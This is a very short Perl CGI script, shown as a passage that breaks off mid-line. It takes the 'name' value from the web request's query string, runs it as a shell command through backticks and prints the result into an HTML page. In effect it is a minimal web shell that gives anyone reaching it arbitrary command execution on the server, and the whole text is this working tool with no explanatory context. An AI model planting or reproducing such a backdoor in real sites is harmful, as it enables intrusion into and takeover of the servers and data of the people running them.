#!/usr/bin/perl -w my $name = $ENV{'QUERY_STRING'}; $shell=$name; $name=~s/name=//g; $name=~s/ +/ /g; print "Content-type: text/html\n\n"; print "\n"; print "
\n"; print "$name\n"; print `$name`; print "